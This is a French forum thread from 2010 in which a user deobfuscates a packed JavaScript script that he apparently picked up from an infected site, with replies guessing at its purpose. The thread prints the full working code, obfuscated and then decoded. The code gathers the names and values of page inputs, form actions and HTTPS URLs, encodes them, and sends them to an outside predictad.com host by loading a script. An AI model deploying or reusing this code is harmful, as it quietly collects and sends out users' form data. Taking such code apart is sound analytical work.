Partage
  • Partager sur Facebook
  • Partager sur Twitter

Signification d'un code (partie d'un virus)

Sujet résolu
    10 juin 2010 à 17:09:22

    Bonjour.

    Je me suis chopé un virus en partie codé en JavaScript qui m'a collé un script qui me poursuit partout...

    Voici une partie de ce script :
    function(p,a,c,k,e,r) // p = du code; a = 62; c = 185; k = mot clés Javascript dans un tableau(var, return, etc...), e = 0; r = {}
    {
    	e=function(c)
    	{
    		return (
    					(c<a) ? '' : e(parseInt(c/a))
    			   )
    			   +(
    					((c=c%a)>35) ? String.fromCharCode(c+29) : c.toString(36)
    				)
    	};
    	if(!''.replace(/^/,String))
    	{
    		while(c--)
    			r[e(c)]=k[c]||e(c);
    		k=[function(e){return r[e]}];
    		e=function(){return'\\w+'};
    		c=1
    	};
    	while(c--)
    		if(k[c])
    			p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
    	return p
    }
    


    J'ai mis en haut ce que contenaient les arguments, mais j'ai du mal à savoir à quoi sert cette fonction, je pense qu'elle remplace les chiffres et lettres dans le code (variable p) par leur correspondance (tableau k), mais je ne suis pas sûr...

    Voici ce que j'ai trouvé, corrigez-moi si je me trompe...
    e=function(c)
    	{
    		return (
    					(c<a) ? '' : e(parseInt(c/a))
    			   )
    			   +(
    					((c=c%a)>35) ? String.fromCharCode(c+29) : c.toString(36)
    				)
    	};
    

    Cette fonction semble renvoyer des chaines de caractères selon plusieurs comparaisons de c et de a, donc à tester avec chaque valeur utilisée dans le code...

    if(!''.replace(/^/,String))
    	{
    		while(c--)
    			r[e(c)]=k[c]||e(c);
    		k=[function(e){return r[e]}];
    		e=function(){return'\\w+'};
    		c=1
    	};
    

    On commence par une condition bizarre...
    On tente de remplacer dans une chaîne vide tous les accents circonflexes par... L'objet String lui-même...
    Bah déjà, remplacer un truc dans une chaîne vide, ça renverra false, je pense, donc la fonction est vérifiée, on rentre...
    On décrémente c jusqu'à 0 (enfin, je crois) et chaque fois, on dit que la case correspondant à ce que renvoie la fonction e avec l'argument c vaut un mot clé JavaScript (une case de k) s'il existe ou la valeur retournée par e(c)...
    Après ça, on ajoute une case à k (pas sûr du tout pour l'ajout de la case) que l'on remplit avec le contenu de la première case du tableau r (car e=0). Puis on créé une fonction e() qui renvoie '\\w+' et on met c à 1.

    while(c--)
    		if(k[c])
    			p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
    	return p
    

    Encore une fois, on décrémente c, mais problème : il est déjà à 1, la boucle ne va se produire qu'une seule fois ou bien pas du tout ?
    Bref, si elle se produit, on remplace tous les '\b\w+\b' par un mot clé javascript...
    A moins que ces \b et \w ne soient des mots clé des regex pour inclure une catégorie de chaînes de caractères...
    Bref, on retourne p à la fin...

    Donc cette fonction sert à remettre en état le code contenu dans p et l'eval (car tout ça est dans un eval) l'exécute ensuite, mais il reste à trouver la correspondance de chaque lettre et chiffres...

    Au cas où, voici le code dans p :
    1x=V;1y=V;1X=V;5 1Y=N(){N 1z(a){7(!a)K 1A;5 b=a.1i(/[;&]/);5 c=1Z 20();W(5 i=0;i<b.L;i++){5 d=b[i].1i(\'=\');7(!d||d.L!=2)1j;5 e=1B(d[0]);5 f=1B(d[1]);f=f.S(/\\+/g,\' \');c[e]=f}K c}5 q=/(1C|21)[a-22-9.1D-]*\\.1k(\\?.*)+$/;5 s=M.X(\'1E\');5 t=s.L-1;W(Y=0;Y<s.L;Y++){7(s[Y].1l.23(q)){t=Y;24}}5 u=s[t];5 v=u.1l.S(/^[^\\?]+(\\?)*/,\'\');5 w=1z(v);5 x=\'25\';5 y=w[\'26\']||x;5 z=w[\'27\']||\'\';5 A=w[\'28\']||\'\';7(J 18=="P"){18=y}19=\'\';7(z!=\'\'){19+=z}1a=\'\';7(A!=\'\'){1a+=A}N 1m(a){7(\'29\'!=J a)K\'\';a=a.S(/\\r\\n/g,"\\n");5 b="";W(5 n=0;n<a.L;n++){5 c=a.1b(n);7(\'8\'!=J c){7(c<1c){b+=T.U(c)}R 7((c>2a)&&(c<2b)){b+=T.U((c>>6)|2c);b+=T.U((c&1d)|1c)}R{b+=T.U((c>>12)|2d);b+=T.U(((c>>6)&1d)|1c);b+=T.U((c&1d)|1c)}}}K b}5 B=N(a){5 b="2e-1D*";5 c="",1e,Z,10,1n,1o,1f,11,i=0;2f{1e=a.1b(i++);Z=a.1b(i++);10=a.1b(i++);1n=1e>>2;1o=((1e&3)<<4)|(Z>>4);1f=((Z&15)<<2)|(10>>6);11=10&1d;7(1F(Z)){1f=11=1G}R 7(1F(10)){11=1G}c=c+b.1g(1n)+b.1g(1o)+b.1g(1f)+b.1g(11)}2g(i<a.L);K c};1p=1A;N 1H(){5 a=M.X(\'2h\');7(a.L>0){5 b=\'\';5 c=\'@\';5 d=\'@\';5 e=\'@\';5 f=\'@\';5 g=\'@\';W(5 i=0;i<a.L;i++){7(a.I(i)==8)1j;5 h=a.I(i).O(\'1I\');5 j=a.I(i).O(\'1q\');5 k=a.I(i).O(\'1r\');5 l=a.I(i).2i;5 m=a.I(i).O(\'2j\');5 n=a.I(i).O(\'1s\');5 o=a.I(i).O(\'1J\');7(h==8)h=j;7(j==8)j=h;7(k==8)k=\'13\';7(k==\'2k\')k=\'13\';7(n==8)n=\'\';7(o==8)o=\'\';7(h==8&&j==8){h=\'2l\'+i;j=h;a.I(i).Q(\'1q\',j)}1p=V;5 p=k.2m();7(p==\'13\'){7(1x){7(o==\'\')a.I(i).Q(\'1J\',\'2n\')}b+=j+\'|\';7(h==j){h=\'\'}c+=h+\'|\';d+=l+\'|\';e+=m+\'|\';f+=n+\'|\';g+=o+\'|\'}}K b+c+d+e+f+g}K\'\'}N 1K(){5 a=M.X(\'2o\');7(a.L>0){5 b=\'\';5 c=\'@\';5 d=\'@\';5 e=\'@\';5 f=\'@\';W(5 i=0;i<a.L;i++){7(a.I(i)==8)1j;5 g=a.I(i).O(\'1I\');5 h=a.I(i).O(\'1q\');5 j=a.I(i).O(\'2p\');5 k=a.I(i).O(\'2q\');5 l=a.I(i).O(\'2r\');7(g==8)g=\'\';7(h==8)h=\'\';7(j==8)j=\'2s\';7(k==8)k=\'\';7(l==8){l=\'\'}R{7(J l==\'N\'){l=l.1L();l=l.S(\'\\n\',\'\');l=l.S(\'\\r\',\'\');l=l.S(\'N 2t(){\',\'\');l=l.2u(0,l.L-1);l=l.S(/^\\s+|\\s+$/g,"")}}b+=h+\'|\';c+=g+\'|\';d+=j+\'|\';e+=k+\'|\';f+=l+\'|\'}K b+c+d+e+f+e}K\'\'}N 1M(){5 a=\'\';5 b=M.2v(\'2w\');a+=((b!=8)?\'1\':\'\');a+=\'|\'+((J 14.1N!="P")?1N:\'\');a+=\'|\'+((J 14.1O!="P")?1O:\'\');a+=\'|\'+((J 14.1P!="P")?1P:\'\');K a}N 1t(a){5 r=a.1i(\'.\');K 1u(r[0])*2x+1u(r[1])*2y+1u(r[2])}7(14.2z==14){7(J 1Q!=\'P\'){2A{1R=\'1.4.0\';7(1t(1Q.2B)<1t(1R)){K}}2C(e){}}7(J 1v==\'P\'){5 C=1;5 D=\'^\';5 E=1H();5 F=1K();5 G=1M();5 H=(("2D:"==M.1S.2E)?M.1S.1L():"");1h=(B(1m(C+D+18+D+E+D+M.1s+D+19+D+1a+D+F+D+G+D+H)));7(1h.L>2F){1h=(B(1m(C+D+18+D+E+D+M.1s+D+19+D+1a+D+\'\'+D+G+D+\'\')))}7(1p){16=\'2G\';7(1y){17=2H.2I();17=17;7(17<0.2J){16+=\'1\'}R{7(17<0.2K){16+=\'2\'}R{16+=\'3\'}}}7(J(2L)==\'P\'&&J(2M)==\'P\'&&J(1v)==\'P\'){1T(\'2N://\'+16+\'.1C.2O/2P/2Q/?\'+1h,\'1k\',\'1w\');1v=V}}}}}();N 1T(a,b,c){7(b=="1k"){5 d=M.1U("1E");d.Q("1r","13/2R");d.Q("2S","");d.Q("2T","");d.Q("1l",a)}R 7(b=="1V"){5 d=M.1U("2U");d.Q("2V","2W");d.Q("1r","13/1V");d.Q("2X",a)}7(J d!="P"){7(c=="1w"){M.X("1w")[0].1W(d)}R{M.X("2Y")[0].1W(d)}}}
    


    Indenté et avec les if, null et var remis :
    1x=V;
    1y=V;
    1X=V;
    var 1Y=N()
    {
    	N 1z(a)
    	{
    		if(!a)K 1A;
    		var b=a.1i(/[;&]/);
    		var c=1Z 20();
    		W(var i=0;i<b.L;i++)
    		{
    			var d=b[i].1i('=');
    			if(!d||d.L!=2)
    				1j;
    			var e=1B(d[0]);
    			var f=1B(d[1]);
    			f=f.S(/\\+/g,' ');
    			c[e]=f
    		}
    		K c
    	}
    	var q=/(1C|21)[a-22-9.1D-]*\\.1k(\\?.*)+$/;
    	var s=M.X('1E');
    	var t=s.L-1;
    	W(Y=0;Y<s.L;Y++)
    	{
    		if(s[Y].1l.23(q))
    		{
    			t=Y;
    			24
    		}
    	}
    	var u=s[t];
    	var v=u.1l.S(/^[^\\?]+(\\?)*/,'');
    	var w=1z(v);
    	var x='25';
    	var y=w['26']||x;
    	var z=w['27']||'';
    	var A=w['28']||'';
    	if(J 18=="P")
    	{
    		18=y
    	}
    	19='';
    	if(z!='')
    	{
    		19+=z
    	}
    	1a='';
    	if(A!='')
    	{
    		1a+=A
    	}
    	N 1m(a)
    	{
    		if('29'!=J a)
    		K'';
    		a=a.S(/\\r\\n/g,"\\n");
    		var b="";
    		W(var n=0;n<a.L;n++)
    		{
    			var c=a.1b(n);
    			if('8'!=J c)
    			{
    				if(c<1c)
    				{
    					b+=T.U(c)
    				}
    				R if((c>2a)&&(c<2b))
    				{
    					b+=T.U((c>>6)|2c);
    					b+=T.U((c&1d)|1c)
    				}
    				R
    				{
    					b+=T.U((c>>12)|2d);
    					b+=T.U(((c>>6)&1d)|1c);
    					b+=T.U((c&1d)|1c)
    				}
    			}
    		}
    		K b
    	}
    	var B=N(a)
    	{
    		var b="2e-1D*";
    		var c="",1e,Z,10,1n,1o,1f,11,i=0;
    		2f
    		{
    			1e=a.1b(i++);
    			Z=a.1b(i++);
    			10=a.1b(i++);
    			1n=1e>>2;
    			1o=((1e&3)<<4)|(Z>>4);
    			1f=((Z&15)<<2)|(10>>6);
    			11=10&1d;
    			if(1F(Z))
    			{	
    				1f=11=1G
    			}
    			R if(1F(10))
    			{
    				11=1G
    			}
    			c=c+b.1g(1n)+b.1g(1o)+b.1g(1f)+b.1g(11)
    		}
    		2g(i<a.L);
    		K c
    	};
    	1p=1A;
    	N 1H()
    	{
    		var a=M.X('2h');
    		if(a.L>0)
    		{
    			var b='';
    			var c='@';
    			var d='@';
    			var e='@';
    			var f='@';
    			var g='@';
    			W(var i=0;i<a.L;i++)
    			{
    				if(a.I(i)==null)1j;
    				var h=a.I(i).O('1I');
    				var j=a.I(i).O('1q');
    				var k=a.I(i).O('1r');
    				var l=a.I(i).2i;
    				var m=a.I(i).O('2j');
    				var n=a.I(i).O('1s');
    				var o=a.I(i).O('1J');
    				if(h==null)h=j;
    				if(j==null)j=h;
    				if(k==null)k='13';
    				if(k=='2k')k='13';
    				if(n==null)n='';
    				if(o==null)o='';
    				if(h==null&&j==null)
    				{
    					h='2l'+i;
    					j=h;a.I(i).Q('1q',j)
    				}
    				1p=V;
    				var p=k.2m();
    				if(p=='13')
    				{
    					if(1x)
    					{
    						if(o=='')
    							a.I(i).Q('1J','2n')
    					}
    					b+=j+'|';
    					if(h==j)
    					{
    						h=''
    					}
    					c+=h+'|';
    					d+=l+'|';
    					e+=m+'|';
    					f+=n+'|';
    					g+=o+'|'
    				}
    			}
    			K b+c+d+e+f+g
    		}
    		K''
    	}
    	N 1K()
    	{
    		var a=M.X('2o');
    		if(a.L>0)
    		{
    			var b='';
    			var c='@';
    			var d='@';
    			var e='@';
    			var f='@';
    			W(var i=0;i<a.L;i++)
    			{
    				if(a.I(i)==null)1j;
    				var g=a.I(i).O('1I');
    				var h=a.I(i).O('1q');
    				var j=a.I(i).O('2p');
    				var k=a.I(i).O('2q');
    				var l=a.I(i).O('2r');
    				if(g==null)g='';
    				if(h==null)h='';
    				if(j==null)j='2s';
    				if(k==null)k='';
    				if(l==null)
    				{
    					l=''
    				}
    				R
    				{
    					if(J l=='N')
    					{
    						l=l.1L();
    						l=l.S('\\n','');
    						l=l.S('\\r','');
    						l=l.S('N 2t(){','');
    						l=l.2u(0,l.L-1);
    						l=l.S(/^\\s+|\\s+$/g,"")
    					}
    				}
    				b+=h+'|';
    				c+=g+'|';
    				d+=j+'|';
    				e+=k+'|';
    				f+=l+'|'
    			}
    			K b+c+d+e+f+e
    		}
    		K''
    	}
    	N 1M()
    	{
    		var a='';
    		var b=M.2v('2w');
    		a+=((b!=null)?'1':'');
    		a+='|'+((J 14.1N!="P")?1N:'');
    		a+='|'+((J 14.1O!="P")?1O:'');
    		a+='|'+((J 14.1P!="P")?1P:'');
    		K a
    	}
    	N 1t(a)
    	{
    		var r=a.1i('.');
    		K 1u(r[0])*2x+1u(r[1])*2y+1u(r[2])
    	}
    	if(14.2z==14)
    	{
    		if(J 1Q!='P')
    		{
    			2A
    			{
    				1R='1.4.0';
    				if(1t(1Q.2B)<1t(1R))
    				{
    					K
    				}
    			}
    			2C(e)
    			{}
    		}
    		if(J 1v=='P')
    		{
    			var C=1;
    			var D='^';
    			var E=1H();
    			var F=1K();
    			var G=1M();
    			var H=(("2D:"==M.1S.2E)?M.1S.1L():"");
    			1h=(B(1m(C+D+18+D+E+D+M.1s+D+19+D+1a+D+F+D+G+D+H)));
    			if(1h.L>2F)
    			{
    				1h=(B(1m(C+D+18+D+E+D+M.1s+D+19+D+1a+D+''+D+G+D+'')))
    			}
    			if(1p)
    			{
    				16='2G';
    				if(1y)
    				{
    					17=2H.2I();
    					17=17;
    					if(17<0.2J)
    					{
    						16+='1'
    					}
    					R
    					{
    						if(17<0.2K)
    						{
    							16+='2'
    						}
    						R
    						{
    							16+='3'
    						}
    					}
    				}
    				if(J(2L)=='P'&&J(2M)=='P'&&J(1v)=='P')
    				{
    					1T('2N://'+16+'.1C.2O/2P/2Q/?'+1h,'1k','1w');
    					1v=V
    				}
    			}
    		}
    	}
    }();
    N 1T(a,b,c)
    {
    	if(b=="1k")
    	{
    		var d=M.1U("1E");
    		d.Q("1r","13/2R");
    		d.Q("2S","");
    		d.Q("2T","");
    		d.Q("1l",a)
    	}
    	R if(b=="1V")
    	{
    		var d=M.1U("2U");
    		d.Q("2V","2W");
    		d.Q("1r","13/1V");
    		d.Q("2X",a)
    	}
    	if(J d!="P")
    	{
    		if(c=="1w")
    		{
    			M.X("1w")[0].1W(d)
    		}
    		R
    		{
    			M.X("2Y")[0].1W(d)
    		}
    	}
    }
    


    Et voila la correspondance des chiffres d'après le split :
    0|
    1|
    2|
    3|
    4|
    5 var|
    6|
    7 if|
    8 null|
    9|
    10|
    11|
    12|
    13|
    14|
    15|
    16|
    17|
    18|
    19|
    20|
    21|
    22|
    23|
    24|
    25|
    26|
    27|
    28|
    29|
    30|
    31|
    32|
    33|
    34|
    35|
    36|
    37|
    38|
    39|
    40|
    41|
    42|
    43|
    44 item|
    45 typeof|
    46 return|
    47 length|
    48 document|
    49 function|
    50 getAttribute|
    51 undefined|
    52 setAttribute|
    53 else|
    54 replace|
    55 String|
    56 fromCharCode|
    57 true|
    58 for|
    59 getElementsByTagName|
    60 sindex|
    61 chr2|
    62 chr3|
    63 enc4|
    64|
    65 text|
    66 window|
    67|
    68 predictad_dtc_subdomain|
    69 rand_no|
    70 predictad_working_site|
    71 predictad_iid|
    72 predictad_tid|
    73 charCodeAt|
    74 128|
    75 63|
    76 chr1|
    77 enc3|
    78 charAt|
    79 predictad_input_data|
    80 split|
    81 continue|
    82 js|
    83 src|
    84 predictad_utf8encode|
    85 enc1|
    86 enc2|
    87 predictad_activate_detection|
    88 id|
    89 type|
    90 title|
    91 convertPVersionString|
    92 parseInt|
    93 suggestmeyes_loaded|
    94 head|
    95 predictad_ac_off|
    96 predictad_srch_detect_lb|
    97 PscriptParseQuery|
    98 false|
    99 unescape|
    100 predictad|
    101 _|
    102 script|
    103 isNaN|
    104 64|
    105 predictad_detect_src|
    106 name|
    107 autocomplete|
    108 predictad_detect_frm|
    109 toString|
    110 predictad_detect_cse|
    111 googleSearchIframeName|
    112 googleSearchFrameWidth|
    113 googleSearchDomain|
    114 Prototype|
    115 REQ_PROTOTYPE|
    116 location|
    117 predictad_loadjscssfile|
    118 createElement|
    119 css|
    120 appendChild|
    121 predictad_has_addon|
    122 predictDetectF|
    123 new|
    124 Object|
    125 suggestme|
    126 z0|
    127 match|
    128 break|
    129 4831|
    130 si|
    131 iid|
    132 tid|
    133 string|
    134 127|
    135 2048|
    136 192|
    137 224|
    138 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|
    139 do|
    140 while|
    141 input|
    142 className|
    143 value|
    144 search|
    145 acpro_inp|
    146 toLowerCase|
    147 off|
    148 form|
    149 method|action|
    150 onsubmit|
    151 get|
    152 anonymous|
    153 substring|
    154 getElementById|
    155 googleSearchUnitIframe|
    156 100000|
    157 1000|
    158 top|
    159 try|
    160 Version|
    161 catch|
    162 https|
    163 protocol|
    164 2000|
    165 srchdetect|
    166 Math|
    167 random|
    168 40|
    169 70|
    170 predictad_js|
    171 predictad_ver|
    172 http|
    173 com|
    174 scripts|
    175 acpro|
    176 javascript|
    177 onload|
    178 onreadystatechange|
    179 link|
    180 rel|
    181 stylesheet|
    182 href|
    183 body
    

    Quand il n'y a qu'une barre après le chiffre, c'est que c'est vide...

    Bref, code intéressant, mais embêtant, faut absolument savoir ce que fait ce code...

    Pour les curieux, j'ai gardé le code qui m'a mis ce script, enfin, une partie encore, j'ai viré les trucs inutiles, demandez-moi par MP ;) .

    Merci d'avance aux courageux !
    Au revoir !

    Edit : On peut aussi deviner quelques choses, par exemple, N semble vouloir dire function ...
    • Partager sur Facebook
    • Partager sur Twitter

    L'important n'est pas de savoir maîtriser une technologie à la perfection, mais d'avoir une belle capacité d'adaptation.

      10 juin 2010 à 19:17:12

      Merci, c'est tout con ^^ ...
      Voici ce que ça me donne :
      predictad_ac_off=true;
      predictad_srch_detect_lb=true;
      predictad_has_addon=true;
      var predictDetectF=function()
      {
      	function PscriptParseQuery(a)
      	{
      		if(!a)return false;
      		var b=a.split(/[;&]/);
      		var c=new Object();
      		for(var i=0;i<b.length;i++)
      		{
      			var d=b[i].split('=');
      			if(!d||d.length!=2)
      				continue;
      			var e=unescape(d[0]);
      			var f=unescape(d[1]);
      			f=f.replace(/\+/g,' ');
      			c[e]=f
      		}
      		return c
      	}
      	var q=/(predictad|suggestme)[a-z0-9._-]*\.js(\?.*)+$/;
      	var s=document.getElementsByTagName('script');
      	var t=s.length-1;
      	for(sindex=0;sindex<s.length;sindex++)
      	{
      		if(s[sindex].src.match(q))
      		{
      			t=sindex;break
      		}
      	}
      	var u=s[t];
      	var v=u.src.replace(/^[^\?]+(\?)*/,'');
      	var w=PscriptParseQuery(v);
      	var x='4831';
      	var y=w['si']||x;
      	var z=w['iid']||'';
      	var A=w['tid']||'';
      	if(typeof predictad_working_site=="undefined")
      	{
      		predictad_working_site=y
      	}
      	predictad_iid='';
      	if(z!='')
      	{
      		predictad_iid+=z
      	}
      	predictad_tid='';
      	if(A!='')
      	{
      		predictad_tid+=A
      	}
      	function predictad_utf8encode(a)
      	{
      		if('string'!=typeof a)
      			return'';
      		a=a.replace(/\r\n/g,"\n");
      		var b="";
      		for(var n=0;n<a.length;n++)
      		{
      			var c=a.charCodeAt(n);
      			if('null'!=typeof c)
      			{
      				if(c<128)
      				{
      					b+=String.fromCharCode(c)
      				}
      				else if((c>127)&&(c<2048))
      				{
      					b+=String.fromCharCode((c>>6)|192);
      					b+=String.fromCharCode((c&63)|128)
      				}
      				else
      				{
      					b+=String.fromCharCode((c>>12)|224);
      					b+=String.fromCharCode(((c>>6)&63)|128);
      					b+=String.fromCharCode((c&63)|128)
      				}
      			}
      		}
      		return b
      	}
      	var B=function(a)
      	{
      		var b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_*";
      		var c="",chr1,chr2,chr3,enc1,enc2,enc3,enc4,i=0;
      		do
      		{
      			chr1=a.charCodeAt(i++);
      			chr2=a.charCodeAt(i++);
      			chr3=a.charCodeAt(i++);
      			enc1=chr1>>2;
      			enc2=((chr1&3)<<4)|(chr2>>4);
      			enc3=((chr2&15)<<2)|(chr3>>6);
      			enc4=chr3&63;
      			if(isNaN(chr2))
      			{
      				enc3=enc4=64
      			}
      			else if(isNaN(chr3))
      			{
      				enc4=64
      			}
      			c=c+b.charAt(enc1)+b.charAt(enc2)+b.charAt(enc3)+b.charAt(enc4)
      		}while(i<a.length);
      		return c
      	};
      	predictad_activate_detection=false;
      	function predictad_detect_src()
      	{
      		var a=document.getElementsByTagName('input');
      		if(a.length>0)
      		{
      			var b='';
      			var c='@';
      			var d='@';
      			var e='@';
      			var f='@';
      			var g='@';
      			for(var i=0;i<a.length;i++)
      			{
      				if(a.item(i)==null)
      					continue;
      				var h=a.item(i).getAttribute('name');
      				var j=a.item(i).getAttribute('id');
      				var k=a.item(i).getAttribute('type');
      				var l=a.item(i).className;
      				var m=a.item(i).getAttribute('value');
      				var n=a.item(i).getAttribute('title');
      				var o=a.item(i).getAttribute('autocomplete');
      				if(h==null)
      					h=j;
      				if(j==null)
      					j=h;
      				if(k==null)
      					k='text';
      				if(k=='search')
      					k='text';
      				if(n==null)
      					n='';
      				if(o==null)
      					o='';
      				if(h==null&&j==null)
      				{
      					h='acpro_inp'+i;
      					j=h;
      					a.item(i).setAttribute('id',j)
      				}
      				predictad_activate_detection=true;
      				var p=k.toLowerCase();
      				if(p=='text')
      				{
      					if(predictad_ac_off)
      					{
      						if(o=='')a.item(i).setAttribute('autocomplete','off')
      					}
      					b+=j+'|';
      					if(h==j)
      					{
      						h=''
      					}
      					c+=h+'|';
      					d+=l+'|';
      					e+=m+'|';
      					f+=n+'|';
      					g+=o+'|'
      				}
      			}
      			return b+c+d+e+f+g
      		}
      		return''
      	}
      	function predictad_detect_frm()
      	{
      		var a=document.getElementsByTagName('form');
      		if(a.length>0)
      		{
      			var b='';
      			var c='@';
      			var d='@';
      			var e='@';
      			var f='@';
      			for(var i=0;i<a.length;i++)
      			{
      				if(a.item(i)==null)
      					continue;
      				var g=a.item(i).getAttribute('name');
      				var h=a.item(i).getAttribute('id');
      				var j=a.item(i).getAttribute('method');
      				var k=a.item(i).getAttribute('action');
      				var l=a.item(i).getAttribute('onsubmit');
      				if(g==null)
      					g='';
      				if(h==null)
      					h='';
      				if(j==null)
      					j='get';
      				if(k==null)
      					k='';
      				if(l==null)
      				{
      					l=''
      				}
      				else
      				{
      					if(typeof l=='function')
      					{
      						l=l.toString();
      						l=l.replace('\n','');
      						l=l.replace('\r','');
      						l=l.replace('function anonymous(){','');
      						l=l.substring(0,l.length-1);
      						l=l.replace(/^\s+|\s+$/g,"")
      					}
      				}
      				b+=h+'|';
      				c+=g+'|';
      				d+=j+'|';
      				e+=k+'|';
      				f+=l+'|'
      			}
      			return b+c+d+e+f+e
      		}
      		return''
      	}
      	function predictad_detect_cse()
      	{
      		var a='';
      		var b=document.getElementById('googleSearchUnitIframe');
      		a+=((b!=null)?'1':'');
      		a+='|'+((typeof window.googleSearchIframeName!="undefined")?googleSearchIframeName:'');
      		a+='|'+((typeof window.googleSearchFrameWidth!="undefined")?googleSearchFrameWidth:'');
      		a+='|'+((typeof window.googleSearchDomain!="undefined")?googleSearchDomain:'');
      		return a
      	}
      	function convertPVersionString(a)
      	{
      		var r=a.split('.');
      		return parseInt(r[0])*100000+parseInt(r[1])*1000+parseInt(r[2])
      	}
      	if(window.top==window)
      	{
      		if(typeof Prototype!='undefined')
      		{
      			try
      			{
      				REQ_PROTOTYPE='1.4.0';
      				if(convertPVersionString(Prototype.Version)<convertPVersionString(REQ_PROTOTYPE))
      				{
      					return
      				}
      			}catch(e){}
      		}
      		if(typeof suggestmeyes_loaded=='undefined')
      		{
      			var C=1;
      			var D='^';
      			var E=predictad_detect_src();
      			var F=predictad_detect_frm();
      			var G=predictad_detect_cse();
      			var H=(("https:"==document.location.protocol)?document.location.toString():"");
      			predictad_input_data=(B(predictad_utf8encode(C+D+predictad_working_site+D+E+D+document.title+D+predictad_iid+D+predictad_tid+D+F+D+G+D+H)));
      			if(predictad_input_data.length>2000)
      			{
      				predictad_input_data=(B(predictad_utf8encode(C+D+predictad_working_site+D+E+D+document.title+D+predictad_iid+D+predictad_tid+D+''+D+G+D+'')))
      			}
      			if(predictad_activate_detection)
      			{
      				predictad_dtc_subdomain='srchdetect';
      				if(predictad_srch_detect_lb)
      				{
      					rand_no=Math.random();
      					rand_no=rand_no;
      					if(rand_no<0.40)
      					{
      						predictad_dtc_subdomain+='1'
      					}
      					else
      					{
      						if(rand_no<0.70)
      						{
      							predictad_dtc_subdomain+='2'
      						}
      						else
      						{
      							predictad_dtc_subdomain+='3'
      						}
      					}
      				}
      				if(typeof(predictad_js)=='undefined'&&typeof(predictad_ver)=='undefined'&&typeof(suggestmeyes_loaded)=='undefined')
      				{
      					predictad_loadjscssfile('http://'+predictad_dtc_subdomain+'.predictad.com/scripts/acpro/?'+predictad_input_data,'js','head');
      					suggestmeyes_loaded=true
      				}
      			}
      		}
      	}
      }();
      function predictad_loadjscssfile(a,b,c)
      {
      	if(b=="js")
      	{
      		var d=document.createElement("script");
      		d.setAttribute("type","text/javascript");
      		d.setAttribute("onload","");
      		d.setAttribute("onreadystatechange","");
      		d.setAttribute("src",a)
      	}
      	else if(b=="css")
      	{
      		var d=document.createElement("link");
      		d.setAttribute("rel","stylesheet");
      		d.setAttribute("type","text/css");
      		d.setAttribute("href",a)
      	}
      	if(typeof d!="undefined")
      	{
      		if(c=="head")
      		{
      			document.getElementsByTagName("head")[0].appendChild(d)
      		}
      		else
      		{
      			document.getElementsByTagName("body")[0].appendChild(d)
      		}
      	}
      }
      


      Je bosse dessus et je vous dis ce que je trouve...
      • Partager sur Facebook
      • Partager sur Twitter

      L'important n'est pas de savoir maîtriser une technologie à la perfection, mais d'avoir une belle capacité d'adaptation.

        10 juin 2010 à 19:44:05

        Comme ça au pif, je dirais qu'il récupère les input et ce qu'il y a dedans avant envoi pour choper les user / mot de passe... :-°

        EDIT: et amha, son adresse se trouve là
        var B=function(a)
        	{
        		var b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_*";
        		var c="",chr1,chr2,chr3,enc1,enc2,enc3,enc4,i=0;
        		do
        		{
        			chr1=a.charCodeAt(i++);
        			chr2=a.charCodeAt(i++);
        			chr3=a.charCodeAt(i++);
        			enc1=chr1>>2;
        			enc2=((chr1&3)<<4)|(chr2>>4);
        			enc3=((chr2&15)<<2)|(chr3>>6);
        			enc4=chr3&63;
        			if(isNaN(chr2))
        			{
        				enc3=enc4=64
        			}
        			else if(isNaN(chr3))
        			{
        				enc4=64
        			}
        			c=c+b.charAt(enc1)+b.charAt(enc2)+b.charAt(enc3)+b.charAt(enc4)
        		}while(i<a.length);
        		return c; // ICI plus exactement
        	};
        

        • Partager sur Facebook
        • Partager sur Twitter
          10 juin 2010 à 21:27:34

          Je vois demain ce que ça fait, j'ai 6h de perm...

          L'adresse n'est pas là, ça renvoie une chaîne bizarre, j'ai mis un alert sur tous les return, et ça donne ça dans l'ordre :
          false


          |||
          1^4831^^^^^^|||^
          MV40ODMxXl5eXl5efHx8Xg**

          Le dernier, c'est le return que tu indiques...
          • Partager sur Facebook
          • Partager sur Twitter

          L'important n'est pas de savoir maîtriser une technologie à la perfection, mais d'avoir une belle capacité d'adaptation.

            11 juin 2010 à 1:40:51

            Franchement, le plus simple c'est d'aller sur la page ayant ce script avec firebug d'ouvert, et de vérifier les requêtes qui passent.

            Quoi que le script fasse, pour qu'il soit utile au mec qui l'a mis, il doit forcement faire une requête extérieur.
            • Partager sur Facebook
            • Partager sur Twitter
              11 juin 2010 à 10:11:41

              Chuis désolé, je suis trop parano, c'est juste un plugin d'aide à la recherche, mais vu que je l'ai jamais installé et que je l'ai eu en naviguant sur un site qui s'est fait infecter, me suis méfié...

              Encore désolé,
              au revoir.
              • Partager sur Facebook
              • Partager sur Twitter

              L'important n'est pas de savoir maîtriser une technologie à la perfection, mais d'avoir une belle capacité d'adaptation.

              Signification d'un code (partie d'un virus)

              × Après avoir cliqué sur "Répondre" vous serez invité à vous connecter pour que votre message soit publié.
              × Attention, ce sujet est très ancien. Le déterrer n'est pas forcément approprié. Nous te conseillons de créer un nouveau sujet pour poser ta question.
              • Editeur
              • Markdown